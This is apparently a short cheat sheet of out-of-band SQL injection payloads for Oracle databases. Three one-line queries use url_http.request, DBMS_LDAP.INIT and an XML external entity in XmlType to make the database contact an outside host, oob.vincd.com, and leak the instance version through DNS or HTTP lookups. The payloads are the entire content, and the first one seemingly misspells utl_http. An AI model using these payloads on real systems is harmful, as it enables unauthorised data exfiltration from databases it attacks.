Oracle database

Make DNS queries

SELECT url_http.request((SELECT version FROM v$instance) || 'oob.vincd.com') FROM dual;
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance) || 'oob.vincd.com', 80) FROM dual;
SELECT Extractvalue(XmlType('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://xxx.oob.vincd.com"> %remote; %param1;]>'), '/L') from dual;